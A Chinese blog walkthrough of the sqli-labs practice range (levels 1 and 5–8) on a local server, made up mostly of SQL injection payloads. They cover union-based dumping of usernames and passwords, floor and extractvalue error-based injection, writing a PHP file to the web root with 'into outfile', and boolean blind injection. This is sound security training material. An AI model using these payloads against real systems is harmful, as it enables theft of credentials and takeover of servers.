sqli-labs靶场练习(1、5-8关)

news2024/9/21 23:42:18

自己搭建环境啊喂...http://127.0.0.1/sqli-labs-php7-master/

第一关

1.单引号判断是否存在注入点

/?id=1'

2.查询列数

?id=1' order by 3--+

?id=1' order by 4--+

由此可判断有3列

3.查询用户名和密码分别在哪列

?id=-1' union select 1,2,3 --+

4.查询数据库名称为security

?id=-1' union select 1,(select database()),3 --+

5.查看数据库中的表名

?id=-1' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema='security'),3 --+

6.查看users表中的字段

?id=-1' union select 1,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'),3 --+

7.查看字段对应的值

?id=-1' union select 1,(select group_concat(concat(username,'%23',password)) from security.users),3 --+

第二关到第四关差别较小,直接做第五关罢

第五关

各种查询都显示”You are in......”,判断需要盲注

这里可以看到,查询的字段超过3个后出现报错,因此可以尝试使用报错注入

1.通过floor报错注入查询出数据库名为security

?id=1' and (select count(*) from information_schema.tables group by concat(floor(rand(14)*2),0x23,(database())))--+

2.查询出表名

?id=1' and (select count(*) from information_schema.tables group by concat(floor(rand(14)*2),0x23,(select group_concat(table_name) from information_schema.tables where table_schema='security')))--+

3.查询users表中的字段

?id=1' and (select count(*) from information_schema.tables group by concat(floor(rand(14)*2),0x23,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users')))--+

到这儿基本就结束了

第六关

1.查询发现是双引号闭合

2.用extractvalue报错注入查询数据库名为security

?id=1" and extractvalue(1,concat(0x23,database(),0x23))--+

3.查询表名

?id=1" and extractvalue(1,concat(0x23,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x23))--+

4.查询users表中的字段

?id=1" and extractvalue(1,concat(0x23,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'),0x23))--+

5.查询字段username下的数据

?id=1" and extractvalue(1,concat(0x23,(select group_concat(username) from users),0x23))--+

6.查询字段password下的数据

?id=1" and extractvalue(1,concat(0x23,(select group_concat(password) from users),0x23))--+

第七关

第七关需要修改secure-file-priv的参数

修改保存后重启mysql服务即可

进入第七关

1.多试几次,可以发现这关的闭合点是’))

2.使用into outfile函数将一个php文件写入服务器目录(需要知道本地路径)

?id=1'))  union select 1,"<?phpinfo();?>",3 into outfile "D:\\PHP\\phpstudy_pro\\WWW\\test.php" --+

3.或者通过into outfile函数将数据库相关信息打印出来

?id=-1')) union select @@datadir,@@basedir,database() into outfile "C:\\Users\\14619\\Desktop\\test1.txt" --+

这里我输出到了桌面上的一个新文档text1里

4.知道数据库名后就可以继续把表信息打印出来了

?id=-1')) union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security' into outfile "C:\\Users\\14619\\Desktop\\test2.txt" --+

5.然后是users表里的信息

?id=-1')) union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users' into outfile "C:\\Users\\14619\\Desktop\\test3.txt" --+

6.最后是各字段对应的数据

?id=-1')) union select 1,group_concat(username),group_concat(password) from users into outfile "C:\\Users\\14619\\Desktop\\test4.txt" --+

第八关

布尔盲注太繁杂了,这里就仅演示查出数据库名的过程

1.判断闭合点的过程就省略了,是单引号

2..判断数据库长度

?id=1' and length(database())>5--+

?id=1' and length(database())>10--+

?id=1' and length(database())<10--+

这里可以确定数据库长度在5到10之间

继续尝试发现数据库长度为8

?id=1' and length(database())=8--+

3.判断数据库名

?id=1’ and substr(database(),1,1)>’g’--+

?id=1’ and substr(database(),1,1)>’t’--+

这里判断出数据库名的第一个字符在g和t之间

继续缩小范围得出第一个字符为s

?id=1’ and substr(database(),1,1)=’s’--+

简单修改可继续查找第二个字符

?id=1’ and substr(database(),2,1)>’g’--+

同理,最后可得出数据库名为security

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1982645.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

CC2530组网实验-1

1&#xff0c;ZigBee协议栈 协议是一系列的通信标准&#xff0c;通信双方需要共同按照这一标准进行正常的数据发射和接收。协议栈是协议的具体实现形式&#xff0c;通俗点来理解就是协议栈是协议和用户之间的一个接口&#xff0c;开发人员通过使用协议栈来使用这个协议的&…

生活一地猫毛,空气还有猫浮毛!宠物空气净化器帮你消除这些烦恼

随着换毛季节的到来&#xff0c;铲屎官们如临大敌&#xff0c;猫咪将它们的毛发洒满每一个角落&#xff0c;仿佛室内下起了毛茸茸的飘雪。对于铲屎官来说&#xff0c;这不仅耗费时间的清理任务&#xff0c;更是一场守护健康的保卫战。为此&#xff0c;采取了许多措施来应对猫咪…

STL中的vector以及简单实现

vector的简单介绍&#xff1a; 头文件&#xff1a; #include<vector> vector是属于STL的一员&#xff0c;虽然vector的英文意思是向量&#xff0c;但是vector就是一个顺序表&#xff1b; 对于vector来说&#xff0c;面对string的设计的复杂和冗余&#xff0c;vector就…

Java毕业设计 基于SSM和Vue的图书馆座位预约系统小程序

Java毕业设计 基于SSM和Vue的图书馆座位预约系统小程序 这篇博文将介绍一个基于SSM框架和Vue开发的图书馆座位预约系统微信小程序&#xff0c;适合用于Java毕业设计。 功能介绍 用户 登录 注册 首页 图片轮播 关于我们 公告信息 图书馆信息 图书馆详情 预约选座 收藏 …

Tkinter Designer:拖拽式加速Python Tkinter GUI开发的神器

引言 在Python的世界里&#xff0c;创建美观且功能强大的图形用户界面&#xff08;GUI&#xff09;向来是开发者的挑战之一。Tkinter&#xff0c;作为Python的内置GUI库&#xff0c;虽然功能强大&#xff0c;但在实际使用中&#xff0c;设计和实现GUI的过程往往耗时且繁琐。Tki…

Linux中信号的处理

进程正在递达某一个信号期间&#xff0c;同类型的信号无法被递达&#xff01;&#xff01;&#xff01; 当当前信号正在被捕捉事&#xff0c;系统会自动将当前信号加入到进程的信号屏蔽字&#xff08;block&#xff09;。 当信号完成捕捉动作&#xff0c;系统又会自动解除对该…

R语言BIOMOD2 及机器学习方法的物种分布模拟与案例分析

BIOMOD2是一个R软件包&#xff0c;用于构建和评估物种分布模型&#xff08;SDMs&#xff09;。它集成了多种统计和机器学习方法&#xff0c;如GLM、GAM、SVM等&#xff0c;允许用户预测和分析物种在不同环境条件下的地理分布。通过这种方式&#xff0c;BIOMOD帮助研究者评估气候…

Linux-理解shell

文章目录 5. 理解shell5.1 shell的类型5.2 交互shell和系统默认shell5.3 安装zsh shell程序5.4 shell的父子关系5.5 命令列表5.6 命令分组5.7 使用命令分组创建子shell5.8 子shell用法5.9 shell的非内建命令和内建命令5.9.1 非内建命令5.9.2 内建命令5.9.3 history和alias命令介…

Cornerstone加载本地Dicom文件第二弹 - Blob篇

&#x1f340; 引言 当我们刚接触Cornerstone或拿到一组Dicom文件时&#xff0c;如果没有ImageID和后台接口&#xff0c;可能只是想简单测试Cornerstone能否加载这些Dicom文件。在这种情况下&#xff0c;可以使用本地文件加载的方法。之前我们介绍了通过node启动服务器请求文件…

cuda pytorch安装详细教程 GPU版

1.先安装anaconda Anaconda 1.1这里用了最简单的方法&#xff0c;后面将pytorch直接安装到base配置下面了。 1.2下载安装&#xff0c;全部勾选。 一定添加文件夹到path中去&#xff0c;否则后面下载pytorch&#xff0c;无法传输。 1.3 通过cmd&#xff0c;输入conda --versio…

CSP-J 模拟题2

如果x大于45&#xff0c;则输出-1 设定一个整数now&#xff0c;他的初始值为9&#xff1b; 当x>now&#xff0c;就x-now&#xff0c;并且now--; 根据解析写代码1&#xff1a; #include <bits/stdc.h> using namespace std; int a[101010]; int main(){int x;cin>…

设计师必备网站,素材、灵感一手抓

设计师都在哪些地方找素材&#xff0c;找灵感&#xff1f;分享8个设计师必备网站&#xff0c;素材免费下载&#xff0c;还能看到很多国内外大神的设计之作&#xff0c;赶紧收藏起来吧~ 1、baotu 包图网_专注原创商用设计图片下载&#xff0c;会员免费设计素材模板独家图库 国内…

QChart笔记7:基于QPolarChart的雷达图、能力图

六边形战士这个词经常听说&#xff0c;用来描述这个词的是六边形雷达图/能力图。在网上搜索如何用QChart实现没有找到&#xff0c;于是就自己研究出一种写法。 先看看效果&#xff1a; 可以用这个图表示游戏中的人物属性&#xff0c;看看我的几个不太厉害的NPC。 在QT自带的实…

STL—容器—list【list的介绍和基本使用】【list的迭代器失效问题】

STL—容器—list list的使用并不难&#xff0c;有了之前使用string和vector的基础后&#xff0c;学习起来并不难。因此这里不在详细的讲解如何使用&#xff0c;而是大致的将其基本接口都熟悉一下 1.list介绍 list的文档介绍 list是可以在常数范围内在任意位置进行插入和删除…

解决App推广难题,Xinstall带你实现一键唤起,提升用户转化率!

在移动互联网时代&#xff0c;App的推广和运营成为了开发者们面临的一大挑战。如何让用户在各种场景下快速、便捷地唤起你的App&#xff0c;提升用户转化率和活跃度呢&#xff1f;今天&#xff0c;就让我们一起来了解一下Xinstall这一神奇的助手&#xff0c;它将如何解决这些痛…

基于YOLOv10和半监督学习的小麦麦穗检测算法:YOLOv10_ssod

基于YOLOv10和半监督学习的小麦麦穗检测算法&#xff1a;YOLOv10_ssod 1.引言2.数据集2.1 公共数据集2.2 自制数据集 3.YOLOv10算法及改进3.1 YOLOv10原版算法3.2 YOLOv10算法改进3.3 对比实验 4.半监督学习方法5.训练效果5.1最终检测效果5.2YOLOv10的精度曲线图5.3 半监督YOLO…

【Material-UI】Button 组件中的图标和标签按钮(Buttons with Icons and Label)详解

文章目录 一、基础用法1. 左侧图标&#xff08;startIcon&#xff09;2. 右侧图标&#xff08;endIcon&#xff09; 二、图标与标签的搭配三、高级用法和最佳实践1. 自定义图标2. 视觉一致性3. 动态图标 四、总结 在现代用户界面设计中&#xff0c;图标在提高用户体验&#xff…

如何礼貌且高效地应对工作中的无关问题

目录 礼貌而简洁地回应引导至相关资源设置边界利用自动回复工具委婉地拒绝建议通过正式渠道提问引导至相关资源的详细例子设置边界的详细例子深入探讨如何应对无关问题1. 培养对方的自主学习能力2. 利用团队合作3. 利用技术工具提高效率4. 定期培训和分享 具体的案例分析案例一…

初始Spring与SpringIOC容器

一、 Spring框架的基本理解 Spring框架是一款轻量级的开发框架&#xff0c; 核心思想是IOC (控制反转) 和AOP (面向切面编程)&#xff0c; 为Java 应用程序开发提供组件管理服务&#xff0c;用于组件之间的解耦&#xff0c;以及简化第三方JavaEE中间件技术的使用( JMS、任务调度…

python XML2SRS

step 1:练习XPATH 选取text-property标签具有nametext 属性值的标签的值 //text-property[nametext] import os import lxml.etree as etree dir "E:\\" for file in os.listdir(dir):if file.endswith(.rptdesign):with open(dirfile,r,encodingutf-8) as f:firs…